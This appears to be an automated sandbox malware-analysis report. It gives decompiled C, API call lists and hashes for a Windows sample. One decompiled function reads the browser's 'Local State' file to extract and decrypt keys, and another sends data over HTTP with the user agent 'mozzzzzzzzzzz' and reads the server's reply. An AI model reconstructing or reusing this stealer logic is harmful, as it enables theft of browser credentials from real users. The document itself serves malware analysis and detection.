0x0040aa63
0x0040aa66
0x0040aa6f
0x0040aa74
0x0040aa7a
0x0040aa7e
0x0040aa84
0x0040aa87
0x0040aa99
0x0040aaa4
0x0040aab5
0x0040aab9
0x0040aaf7
0x0040aabb
0x0040aad0
0x0040aad2
0x0040aad7
0x0040aaed
0x0040aaf2
0x0040aaf2
0x0040aad7
0x0040aafb
0x0040ab04
0x0040ab0d
0x0040ab16
0x0040ab1c
0x0040ab1c
0x0040ab25
0x0040ab25
0x0040ab2c
0x0040ab2c
0x0040ab35
0x0040ab3e
0x0040ab47
0x0040ab50
0x0040ab59
0x0040ab6b
0x0040ab71
0x0040ab75
0x00000000
0x0040ab7b
0x00000000
0x0040ab7b
0x0040ab75
0x0040aba9
0x0040abb2
0x0040abbb
0x0040abc4
0x0040abcb
0x00000000

APIs

LocalAlloc.KERNEL32(00000040,00000000), ref: 0040A83D
LocalAlloc.KERNEL32(00000040,00000000), ref: 0040A857
LocalAlloc.KERNEL32(00000040,00000000), ref: 0040A872
LocalAlloc.KERNEL32(00000040,00000000), ref: 0040A88D
LocalAlloc.KERNEL32(00000040,00000000), ref: 0040A8A8

Part of subcall function 0040A3E4: LocalAlloc.KERNEL32(00000040,00000000,?,0040870A,00000000,00000000,?,?,?,?,?,?,004079E3), ref: 0040A40C
Part of subcall function 0040A3E4: LocalFree.KERNEL32(00000000,?,0040870A,00000000,00000000,?,?,?,?,?,?,004079E3), ref: 0040A449

LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407B9D), ref: 0040AB2C

Part of subcall function 0040B177: FindFirstFileW.KERNEL32(00000000,?), ref: 0040B1D0
Part of subcall function 0040B177: LocalFree.KERNEL32(00000000), ref: 0040B25D
Part of subcall function 0040B177: LocalFree.KERNEL32(?), ref: 0040B4D9
Part of subcall function 0040B177: FindClose.KERNEL32(00000000), ref: 0040B4E0

LocalFree.KERNEL32(?), ref: 0040AB25

Part of subcall function 0040A503: lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,00408633), ref: 0040A516
Part of subcall function 0040A503: lstrlenW.KERNEL32(?,?,00000000,?,00000000,00000000,?,00408633), ref: 0040A51D
Part of subcall function 0040A503: LocalAlloc.KERNEL32(00000040,00000000,?,00000000,?,00000000,00000000,?,00408633), ref: 0040A533
Part of subcall function 0040A503: GlobalFree.KERNEL32(?), ref: 0040A550

Part of subcall function 00408619: LocalAlloc.KERNEL32(00000040,0000FF78,00000000,00407870), ref: 00408628

LocalFree.KERNEL32(00000000), ref: 0040AAFB
LocalFree.KERNEL32(?), ref: 0040AB04
LocalFree.KERNEL32(?), ref: 0040AB0D
LocalFree.KERNEL32(?), ref: 0040AB16

Part of subcall function 00407EDB: LocalAlloc.KERNEL32(00000040,0000C350,?,00000000,00000001,?,?,?,?,?,00409B89,00000001,?,00000000,00000000,?), ref: 00407EF5
Part of subcall function 00407EDB: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,?,00409B89,00000001,?,00000000), ref: 00407F9B

LocalFree.KERNEL32(00407B9D,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407B9D), ref: 0040AB35
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407B9D), ref: 0040AB3E
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407B9D), ref: 0040AB47
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407B9D), ref: 0040AB50
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407B9D), ref: 0040AB59
LocalFree.KERNEL32(00407B9D,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407B9D), ref: 0040AB80
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407B9D), ref: 0040AB89
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407B9D), ref: 0040AB92
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407B9D), ref: 0040AB9B
LocalFree.KERNEL32(00407B9D,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407B9D), ref: 0040ABA9
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407B9D), ref: 0040ABB2
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407B9D), ref: 0040ABBB
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407B9D), ref: 0040ABC4
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407B9D), ref: 0040ABCB

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc$Findlstrlen$CloseFileFirstGlobal
String ID:
API String ID: 2830129621-0
Opcode ID: 92e495ebd0955a2c04aae0c3d5226cfc54f8a9186c87c6867fbf46ebbbc436c8
Instruction ID: f9c1c7988c740e23ec6b3556d7cabdce8ac8e299f89005d849d6ceee94cacba7
Opcode Fuzzy Hash: 92e495ebd0955a2c04aae0c3d5226cfc54f8a9186c87c6867fbf46ebbbc436c8
Instruction Fuzzy Hash: 2DC18772900215AFDF089FA6DE45EAE7BB5EF48310F044539F905B72A0DB746D20CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00409BD9 Relevance: 31.6, APIs: 25, Instructions: 303
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 40%

			E00409BD9(void* __ecx, short* __edx) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				signed int _v24;
				void* _v28;
				void* _v32;
				void* _v36;
				signed int _v40;
				short* _v44;
				void* _v48;
				signed int _v52;
				char _v56;
				signed int _t60;
				void* _t62;
				void* _t71;
				void* _t78;
				void* _t85;
				void* _t92;
				void* _t94;
				signed int _t103;
				void* _t109;
				void* _t111;
				void* _t112;
				void* _t115;
				char _t116;
				void* _t117;
				void* _t127;
				void* _t140;
				signed int _t142;
				void* _t144;
				signed int _t146;
				void* _t165;
				void* _t173;
				signed int _t177;
				void* _t178;
				void* _t180;
				void* _t182;
				void* _t184;
				void* _t187;
				void* _t188;
				signed int _t193;
				signed int _t197;
				void* _t199;
				void* _t202;

				_v24 = _v24 & 0x00000000;
				_t142 = 0;
				_v44 = __edx;
				_v40 = _v40 & 0;
				_t60 =  *((intOrPtr*)( *0x40e18c))(__ecx,  *0x40e2d8);
				_t177 = _t60;
				if(_t177 == 0) {
					return _t60 | 0xffffffff;
				}
				_t178 = _t177 + 0xc;
				_t62 =  *((intOrPtr*)( *0x40e18c))(_t178,  *0x40e1f0);
				if(_t62 == 0) {
					L5:
					_v8 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t178, _t188) + _t64);
					if(E0040A3E4(_t178,  &_v8, 0, _t142) != 0) {
						_t180 = _t178 + _t142 * 2 + 2;
						_t71 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t180) + _t69);
						_v12 = _t71;
						_t193 =  *((intOrPtr*)( *0x40e18c))(_t180,  *0x40e20c) - _t180 >> 1;
						if(E0040A3E4(_t180,  &_v12, 0, _t193) != 0) {
							_t182 = _t180 + _t193 * 2 + 2;
							_t78 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t182) + _t76);
							_v16 = _t78;
							_t197 =  *((intOrPtr*)( *0x40e18c))(_t182,  *0x40e20c) - _t182 >> 1;
							if(E0040A3E4(_t182,  &_v16, 0, _t197) != 0) {
								_t184 = _t182 + _t197 * 2 + 2;
								_t85 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t184) + _t83);
								_push( *0x40e228);
								_v20 = _t85;
								_push(_t184);
								if(E0040A3E4(_t184,  &_v20, 0,  *((intOrPtr*)( *0x40e18c))() - _t184 >> 1) != 0) {
									_t92 = LocalAlloc(0x40, 0x4000); // executed
									_t199 = _t92;
									_v28 = _t199;
									_t94 =  *((intOrPtr*)( *0x40e044))(0x40, 0x20a);
									_push(0);
									_t144 = _t94;
									_push(0x1a);
									_push(_t144);
									_push(0);
									if( *((intOrPtr*)( *0x40e0c4))() != 0) {
										_push(_v12);
										_push(_t144);
										_push(_t144);
										if( *((intOrPtr*)( *0x40e000))() != 0) {
											_v40 = 1;
											E004052DA(_t144, _t144, _v8, _v16, _v20, _t199,  &_v24); // executed
											if(_v24 > 0) {
												_t109 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
												_t111 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
												_t173 = 0x10;
												_t112 = E0040A05F(_t109, _t173);
												_t202 = _t112;
												_v48 = _t202;
												_t115 = E0040A503( *((intOrPtr*)( *0x40e13c))(_t111,  *0x40e210), _t202);
												_v52 = _v52 & 0x00000000;
												_v36 = _t115;
												_t116 =  *0x40e204; // 0x735b80
												_v56 = _t116;
												_t117 = E00408619( &_v36);
												_v32 = _t117;
												_t187 =  *((intOrPtr*)( *0x40e044))(0x40, 0x184);
												_t165 =  *((intOrPtr*)( *0x40e0e4))(0xfde9, 0, _t202, 0xffffffff, 0, 0, 0, 0);
												if(_t165 == 0) {
													_t199 = _v28;
												} else {
													_t127 =  *((intOrPtr*)( *0x40e0e4))(0xfde9, 0, _t202, 0xffffffff, _t187, _t165, 0, 0);
													_t199 = _v28;
													if(_t127 != 0) {
														E00407EDB(_v44, _t187, 0, 0, _v24, _t199, _v32,  &_v56);
													}
												}
												LocalFree(_t187);
												LocalFree(_v32);
												LocalFree(_v36);
												LocalFree(_v48);
											}
										}
									}
									LocalFree(_v8);
									LocalFree(_v12);
									LocalFree(_v16);
									LocalFree(_v20);
									LocalFree(_t144);
									LocalFree(_t199);
									_t103 = _v40;
									L23:
									return _t103;
								}
								LocalFree(_v8);
								LocalFree(_v12);
								LocalFree(_v16);
								LocalFree(_v20);
								_push(0xfffffffa);
								L13:
								_pop(_t103);
								goto L23;
							}
							LocalFree(_v8);
							LocalFree(_v12);
							LocalFree(_v16);
							_push(0xfffffffb);
							goto L13;
						}
						LocalFree(_v8);
						LocalFree(_v12);
						_push(0xfffffffc);
						goto L13;
					}
					LocalFree(_v8);
					_push(0xfffffffd);
					goto L13;
				} else {
					_t146 = _t62 - _t178;
					_t142 = _t146 >> 1;
					if(_t146 >= 0) {
						goto L5;
					}
					_t140 = 0xfffffffe;
					return _t140;
				}
			}

0x00409be4
0x00409bf0
0x00409bf2
0x00409bf5
0x00409bf9
0x00409bfb
0x00409bff
0x00000000
0x00409c01
0x00409c14
0x00409c18
0x00409c1c
0x00409c2e
0x00409c4a
0x00409c58
0x00409c78
0x00409c83
0x00409c8b
0x00409c9f
0x00409cae
0x00409cd7
0x00409ce2
0x00409cea
0x00409cfe
0x00409d0b
0x00409d3a
0x00409d45
0x00409d47
0x00409d4d
0x00409d55
0x00409d6c
0x00409da6
0x00409da8
0x00409db6
0x00409db9
0x00409dbb
0x00409dbd
0x00409dc4
0x00409dc6
0x00409dc7
0x00409dcd
0x00409dd3
0x00409ddb
0x00409ddc
0x00409de1
0x00409dea
0x00409e00
0x00409e0c
0x00409e1f
0x00409e2b
0x00409e2f
0x00409e34
0x00409e3f
0x00409e47
0x00409e50
0x00409e55
0x00409e5c
0x00409e5f
0x00409e64
0x00409e67
0x00409e71
0x00409e7f
0x00409e95
0x00409e99
0x00409ed6
0x00409e9b
0x00409eaf
0x00409eb1
0x00409eb6
0x00409ecc
0x00409ed1
0x00409eb6
0x00409eda
0x00409ee3
0x00409eec
0x00409ef5
0x00409ef5
0x00409e0c
0x00409de1
0x00409efe
0x00409f07
0x00409f10
0x00409f19
0x00409f20
0x00409f27
0x00409f2d
0x00409f30
0x00000000
0x00409f30
0x00409d71
0x00409d7a
0x00409d83
0x00409d8c
0x00409d92
0x00409d94
0x00409d94
0x00000000
0x00409d94
0x00409d10
0x00409d19
0x00409d22
0x00409d28
0x00000000
0x00409d28
0x00409cb3
0x00409cbc
0x00409cc2
0x00000000
0x00409cc2
0x00409c5d
0x00409c63
0x00000000
0x00409c1e
0x00409c20
0x00409c22
0x00409c24
0x00000000
0x00000000
0x00409c28
0x00000000
0x00409c28

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0eeb41d991fee10332494d35f948fcf2730c46131993d2be2dfeab9eb7d5c82
Instruction ID: 1477a699490ab6d120e37a0d83275f9d0d9eb78bf41bd20a7fb73821678a20ad
Opcode Fuzzy Hash: e0eeb41d991fee10332494d35f948fcf2730c46131993d2be2dfeab9eb7d5c82
Instruction Fuzzy Hash: FCA10572A00215BFEB00DBAADE45EAE7BB5EB48310F144935F614F32E1CB745D208B69

Uniqueness

Uniqueness Score: -1.00%

Function 00407C62 Relevance: 30.0, APIs: 15, Strings: 2, Instructions: 232
networkmemoryfileCOMMON

Download Yara Rule

C-Code - Quality: 36%

			E00407C62(short* __ecx, intOrPtr _a4, WCHAR* _a8, LPCWSTR* _a12) {
				signed int _v8;
				long _v12;
				long _v16;
				WCHAR* _v20;
				void* _v24;
				void* _v28;
				void* _v32;
				void* _t49;
				void* _t53;
				void* _t56;
				signed int _t57;
				signed int _t59;
				void* _t66;
				int _t76;
				void* _t85;
				void* _t89;
				int _t94;
				int _t97;
				long _t98;
				void* _t101;
				void* _t102;
				signed int _t104;
				long _t107;
				void* _t109;
				void* _t115;
				void* _t118;
				WCHAR* _t120;
				long _t121;
				void* _t124;
				short* _t125;
				signed short* _t126;
				void* _t127;
				void* _t128;
				int _t130;

				_v8 = _v8 & 0x00000000;
				_t125 = __ecx; // executed
				_t49 = LocalAlloc(0x40, 0xc350); // executed
				_t102 = _t49;
				_t120 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
				_v32 = _t120;
				if( *_t125 != 0x68) {
					L24:
					return 0;
				}
				_t53 = 0x74;
				if( *((intOrPtr*)(_t125 + 2)) != _t53 ||  *((intOrPtr*)(_t125 + 4)) != _t53 ||  *((short*)(_t125 + 6)) != 0x70) {
					goto L24;
				} else {
					_v16 =  *(_t125 + 8) & 0x0000ffff;
					_t56 =  *((intOrPtr*)( *0x40e18c))(_t125,  *0x40e3ec);
					_v12 = 0x2f;
					_t115 = 0;
					_t10 = _t56 + 6; // 0x6
					_t126 = _t10;
					_t57 =  *_t126 & 0x0000ffff;
					_t104 = _t57;
					if(_t57 == _v12) {
						L7:
						_t59 =  *((intOrPtr*)( *0x40e08c))(_t120);
						_v20 =  &(_t126[_t59]);
						_t127 =  *((intOrPtr*)( *0x40e0e4))(0xfde9, 0, _a4, 0xffffffff, 0, 0, 0, 0);
						_t20 = _t127 + 0x40; // 0x40
						_t107 =  *((intOrPtr*)( *0x40e044))(0x40, _t20);
						_v12 = _t107;
						if(_t127 == 0) {
							L9:
							_t66 = InternetOpenW(L"mozzzzzzzzzzz", 0, 0, 0, 0); // executed
							_t128 = _t66;
							_v24 = _t128;
							if(_t128 == 0) {
								L20:
								_t109 = MultiByteToWideChar(0xfde9, 0, _t102,  *((intOrPtr*)( *0x40e198))(0) + 1, _t102, 0);
								_v28 = _t109;
								if(_t109 == 0) {
									_t130 = _v8;
								} else {
									_t121 = _t109 + _t109;
									_t76 = LocalAlloc(0x40, _t121); // executed
									_v8 = _t76;
									MultiByteToWideChar(0xfde9, 0, _t102,  *((intOrPtr*)( *0x40e198))(_v28) + 1, _t102, _t76);
									_t130 = _v8;
									 *((short*)(_t121 + _t130 - 2)) = 0;
								}
								LocalFree(_v12);
								LocalFree(_v32);
								LocalFree(_t102); // executed
								return _t130;
							}
							_push(1);
							_push(0);
							_t83 =  ==  ? 0x1bb : 0;
							_t84 = ( ==  ? 0x1bb : 0) & 0x0000ffff;
							_t85 = InternetConnectW(_t128, _t120, ( ==  ? 0x1bb : 0) & 0x0000ffff, 0x73, 0x50, 0, 0, 3); // executed
							_t118 = _t85;
							_v28 = _t118;
							if(_t118 == 0) {
								L19:
								InternetCloseHandle(_t128);
								goto L20;
							}
							_push(1);
							_t88 =  ==  ? 0xc00000 : 0x400000;
							_t89 = HttpOpenRequestW(_t118,  *0x40e25c, _v20, 0, 0, _a12,  ==  ? 0xc00000 : 0x400000, 0x73); // executed
							_t124 = _t89;
							if(_t124 == 0) {
								L18:
								InternetCloseHandle(_v28);
								goto L19;
							}
							_t94 = HttpSendRequestW(_t124, _a8,  *((intOrPtr*)( *0x40e08c))( *((intOrPtr*)( *0x40e198))(_v12)), _a8, _v12); // executed
							if(_t94 == 0) {
								L17:
								InternetCloseHandle(_t124); // executed
								_t128 = _v24;
								goto L18;
							}
							while(1) {
								_t97 = InternetReadFile(_t124, _t102, 0xc350,  &_v16); // executed
								if(_t97 == 0) {
									goto L17;
								}
								_t98 = _v16;
								if(_t98 == 0) {
									goto L17;
								}
								 *((char*)(_t98 + _t102)) = 0;
							}
							goto L17;
						}
						_push(0);
						_push(0);
						_push(_t127);
						_push(_t107);
						_push(0xffffffff);
						_push(_a4);
						_push(0);
						_push(0xfde9);
						if( *((intOrPtr*)( *0x40e0e4))() == 0) {
							goto L24;
						}
						goto L9;
					}
					_t101 = 0;
					do {
						_t115 = _t115 + 1;
						 *(_t101 + _t120) = _t104;
						_t101 = _t115 + _t115;
						_t104 =  *(_t101 + _t126) & 0x0000ffff;
					} while (_t104 != _v12);
					goto L7;
				}
			}

0x00407c6d
0x00407c7b
0x00407c7d
0x00407c84
0x00407c93
0x00407c95
0x00407c98
0x00407ed4
0x00000000
0x00407ed4
0x00407ca0
0x00407ca5
0x00000000
0x00407cc0
0x00407cca
0x00407cd3
0x00407cd5
0x00407cdc
0x00407cde
0x00407cde
0x00407ce1
0x00407ce4
0x00407cea
0x00407d00
0x00407d06
0x00407d17
0x00407d2c
0x00407d2e
0x00407d36
0x00407d38
0x00407d3d
0x00407d5f
0x00407d6f
0x00407d71
0x00407d73
0x00407d78
0x00407e52
0x00407e70
0x00407e72
0x00407e77
0x00407eb4
0x00407e79
0x00407e7e
0x00407e84
0x00407e97
0x00407ea6
0x00407ea8
0x00407ead
0x00407ead
0x00407eba
0x00407ec3
0x00407eca
0x00000000
0x00407ed0
0x00407d7e
0x00407d88
0x00407d9c
0x00407d9f
0x00407da5
0x00407da7
0x00407da9
0x00407dae
0x00407e4b
0x00407e4c
0x00000000
0x00407e4c
0x00407db4
0x00407dcd
0x00407de2
0x00407de4
0x00407de8
0x00407e42
0x00407e45
0x00000000
0x00407e45
0x00407e0e
0x00407e12
0x00407e38
0x00407e39
0x00407e3f
0x00000000
0x00407e3f
0x00407e26
0x00407e32
0x00407e36
0x00000000
0x00000000
0x00407e1b
0x00407e20
0x00000000
0x00000000
0x00407e22
0x00407e22
0x00000000
0x00407e26
0x00407d46
0x00407d47
0x00407d48
0x00407d49
0x00407d4a
0x00407d4c
0x00407d4f
0x00407d50
0x00407d59
0x00000000
0x00000000
0x00000000
0x00407d59
0x00407cec
0x00407cee
0x00407cee
0x00407cef
0x00407cf3
0x00407cf6
0x00407cfa
0x00000000
0x00407cee

APIs

LocalAlloc.KERNEL32(00000040,0000C350,00000000,00000000,00000000,?,?,?), ref: 00407C7D
InternetOpenW.WININET(mozzzzzzzzzzz,00000000,00000000,00000000,00000000), ref: 00407D6F
InternetConnectW.WININET(00000000,00000000,?,00000000,00000000,00000003,00000000,00000001), ref: 00407DA5
HttpOpenRequestW.WININET(00000000,?,00000000,00000000,?,00400000,00000001), ref: 00407DE2
HttpSendRequestW.WININET(00000000,?,00000000), ref: 00407E0E
InternetReadFile.WININET(00000000,00000000,0000C350,?), ref: 00407E32
InternetCloseHandle.WININET(00000000), ref: 00407E39
InternetCloseHandle.WININET(?), ref: 00407E45
InternetCloseHandle.WININET(00000000), ref: 00407E4C
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,00000001), ref: 00407E6E
LocalAlloc.KERNEL32(00000040,00000000), ref: 00407E84
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,00000001), ref: 00407EA6
LocalFree.KERNEL32(0000002F), ref: 00407EBA
LocalFree.KERNEL32(?), ref: 00407EC3
LocalFree.KERNELBASE(00000000), ref: 00407ECA

Strings

mozzzzzzzzzzz, xrefs: 00407D6A
/, xrefs: 00407CD5

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID: Internet$Local$CloseFreeHandle$AllocByteCharHttpMultiOpenRequestWide$ConnectFileReadSend
String ID: /$mozzzzzzzzzzz
API String ID: 1628083370-9660103
Opcode ID: 1b3c63f6ad7b7c56e05ea6f413d6885c404e8ecc1f31910e50c1ca249fd4186c
Instruction ID: 677f3e060cdc4141eea8ad2591dda170fc442a0e6149e7f0a8c7285b1f3b2b30
Opcode Fuzzy Hash: 1b3c63f6ad7b7c56e05ea6f413d6885c404e8ecc1f31910e50c1ca249fd4186c
Instruction Fuzzy Hash: 0F71BF71A00215BFEB149BA5CD45F7B77B8EB48700F04847AFA14FB2D0D6B4AD508BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00401C87 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 151
memoryfileCOMMON

Download Yara Rule

C-Code - Quality: 56%

			E00401C87(WCHAR* __ecx, void* __edx, intOrPtr* _a4, intOrPtr* _a8, intOrPtr* _a12, void* _a16) {
				WCHAR* _v8;
				void* _v12;
				void* _v16;
				long _v20;
				long _v24;
				void* _t35;
				void* _t42;
				void* _t46;
				int _t50;
				void* _t56;
				void* _t66;
				struct _OVERLAPPED* _t73;
				void* _t74;
				void* _t77;
				long _t78;
				long _t81;
				void* _t93;
				void* _t96;
				intOrPtr* _t98;
				void* _t99;
				intOrPtr _t100;
				intOrPtr* _t101;
				intOrPtr _t102;
				intOrPtr* _t103;

				_v12 = __edx;
				_t73 = 0;
				_v8 = __ecx;
				_v20 = 0;
				_t35 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
				_t96 = _t35;
				_v16 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
				if(_a16 != 0) {
					_push(__ecx);
				} else {
					PathCombineW(_t96, __ecx, _v12);
					_push(_t96);
				}
				_t98 = _a4;
				 *_t98 =  *((intOrPtr*)( *0x40e13c))( *_t98);
				_t99 = _v16;
				PathCombineW(_t99, _v8, L"Local State");
				_t42 = CreateFileW(_t99, 0x80000000, 1, _t73, 3, _t73, _t73); // executed
				_t77 = _t42;
				_v12 = _t77;
				_t78 =  *((intOrPtr*)( *0x40e14c))(_t77, _t73);
				_a16 = _t78;
				_t46 = LocalAlloc(0x40, _t78); // executed
				_t93 = _t46;
				_v8 = _t93;
				_t50 = ReadFile(_v12, _t93, _a16 - 1,  &_v20, _t73); // executed
				if(_t50 != 0) {
					_t81 = _a16 + _a16;
					_v24 = _t81;
					_t56 = LocalAlloc(0x40, _t81); // executed
					_t100 =  *0x40e1f4; // 0x750150
					_a16 = _t56;
					E0040A16F(E0040A4C2(_v8), _t100,  &_a16,  &_a16); // executed
					_push(_a16);
					if( *((intOrPtr*)( *0x40e08c))() > 0) {
						_t101 = _a8;
						 *_t101 =  *((intOrPtr*)( *0x40e13c))( *_t101, _a16); // executed
						LocalFree(_a16); // executed
						_t66 = LocalAlloc(0x40, _v24); // executed
						_t102 =  *0x40e200; // 0x74ecc0
						_a16 = _t66;
						E0040A16F(E0040A4C2(_v8), _t102,  &_a16,  &_a16); // executed
						_t74 = _a16;
						if(_t74 != 0) {
							_t103 = _a12;
							 *_t103 =  *((intOrPtr*)( *0x40e13c))( *_t103, _t74); // executed
							LocalFree(_t74); // executed
						}
						_t73 = 1;
					}
					FindCloseChangeNotification(_v12); // executed
					_t99 = _v16;
				}
				LocalFree(_t99); // executed
				LocalFree(_t96);
				LocalFree(_v8); // executed
				return _t73;
			}

0x00401c9c
0x00401c9f
0x00401ca1
0x00401ca6
0x00401ca9
0x00401cb0
0x00401cbb
0x00401cc1
0x00401cd1
0x00401cc3
0x00401cc8
0x00401cce
0x00401cce
0x00401cd2
0x00401ce6
0x00401ce8
0x00401cec
0x00401d04
0x00401d06
0x00401d0f
0x00401d14
0x00401d1e
0x00401d21
0x00401d29
0x00401d2f
0x00401d3c
0x00401d40
0x00401d4e
0x00401d53
0x00401d56
0x00401d5b
0x00401d61
0x00401d72
0x00401d7e
0x00401d85
0x00401d87
0x00401d99
0x00401d9b
0x00401dab
0x00401db0
0x00401db6
0x00401dc7
0x00401dcc
0x00401dd3
0x00401dd5
0x00401de3
0x00401de5
0x00401de5
0x00401ded
0x00401ded
0x00401df1
0x00401df7
0x00401df7
0x00401dfb
0x00401e02
0x00401e0b
0x00401e17

APIs

PathCombineW.SHLWAPI(00000000,00000000,?), ref: 00401CC8
PathCombineW.SHLWAPI(?,?,Local State), ref: 00401CEC
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00401D04
LocalAlloc.KERNEL32(00000040,00000000), ref: 00401D21
ReadFile.KERNEL32(?,00000000,?,?,00000000), ref: 00401D3C
LocalAlloc.KERNEL32(00000040,?), ref: 00401D56
LocalFree.KERNELBASE(?), ref: 00401D9B
LocalAlloc.KERNEL32(00000040,?), ref: 00401DAB
LocalFree.KERNEL32(?), ref: 00401DE5
FindCloseChangeNotification.KERNEL32(?), ref: 00401DF1
LocalFree.KERNEL32(?), ref: 00401DFB
LocalFree.KERNEL32(00000000), ref: 00401E02
LocalFree.KERNELBASE(?), ref: 00401E0B

Strings

Local State, xrefs: 00401CDE

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc$CombineFilePath$ChangeCloseCreateFindNotificationRead
String ID: Local State
API String ID: 697056480-22827320
Opcode ID: b89154720f445bf51b2e96a239cc4b3d4fa919ccbd2c9594b8aa0e9c2ba5a7c7
Instruction ID: e8ea5197d75d1b9ffa148ce1658a92dc358bcbabd267189588b6ee53365c4b7a
Opcode Fuzzy Hash: b89154720f445bf51b2e96a239cc4b3d4fa919ccbd2c9594b8aa0e9c2ba5a7c7
Instruction Fuzzy Hash: B95141B5600215EFEB04DFA5DE85AAE7BB9EF48300F104829F915F7250D774AD20CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00413430 Relevance: 22.6, APIs: 15, Instructions: 114COMMON

Download Yara Rule

APIs

_check_managed_app.LIBCMTD ref: 004134AC
__heap_init.LIBCMTD ref: 004134B6

Part of subcall function 00422620: HeapCreate.KERNEL32(00000000,00001000,00000000,?,004134BB,00000001), ref: 00422636

_fast_error_exit.LIBCMTD ref: 004134C4

Part of subcall function 00413610: ___crtExitProcess.LIBCMTD ref: 00413634

__mtinit.LIBCMTD ref: 004134CC
_fast_error_exit.LIBCMTD ref: 004134D7
__RTC_Initialize.LIBCMTD ref: 004134E9
__amsg_exit.LIBCMTD ref: 00413500
___crtGetEnvironmentStringsA.LIBCMTD ref: 00413513
___setargv.LIBCMTD ref: 0041351D
__amsg_exit.LIBCMTD ref: 00413528
__setenvp.LIBCMTD ref: 00413530
__amsg_exit.LIBCMTD ref: 0041353B
__cinit.LIBCMTD ref: 00413545
__amsg_exit.LIBCMTD ref: 0041355A
__wincmdln.LIBCMTD ref: 00413562

Memory Dump Source

Source File: 00000010.00000002.505948043.0000000000412000.00000020.00000001.01000000.00000004.sdmp, Offset: 00412000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_412000_F0geI.jbxd

Similarity

API ID: __amsg_exit$___crt_fast_error_exit$CreateEnvironmentExitHeapInitializeProcessStrings___setargv__cinit__heap_init__mtinit__setenvp__wincmdln_check_managed_app
String ID:
API String ID: 1259877414-0
Opcode ID: 00a0afeaad1b4fafdd9e5251d42d89f04396b4629597290ad4fc375a040151d5
Instruction ID: 0f1e660c31b9fec308a46fc5c459b10c93befc3b333bb24cdea645fe2f35eac8
Opcode Fuzzy Hash: 00a0afeaad1b4fafdd9e5251d42d89f04396b4629597290ad4fc375a040151d5
Instruction Fuzzy Hash: 4941C8B1D00318BBDB10AFA2DD067DEB6B5AB14718F10412EF41597282E77D96808B9A

Uniqueness

Uniqueness Score: -1.00%

Function 004134A5 Relevance: 22.6, APIs: 15, Instructions: 88COMMON

Download Yara Rule

APIs

_check_managed_app.LIBCMTD ref: 004134AC
__heap_init.LIBCMTD ref: 004134B6

Part of subcall function 00422620: HeapCreate.KERNEL32(00000000,00001000,00000000,?,004134BB,00000001), ref: 00422636

_fast_error_exit.LIBCMTD ref: 004134C4

Part of subcall function 00413610: ___crtExitProcess.LIBCMTD ref: 00413634

__mtinit.LIBCMTD ref: 004134CC
_fast_error_exit.LIBCMTD ref: 004134D7
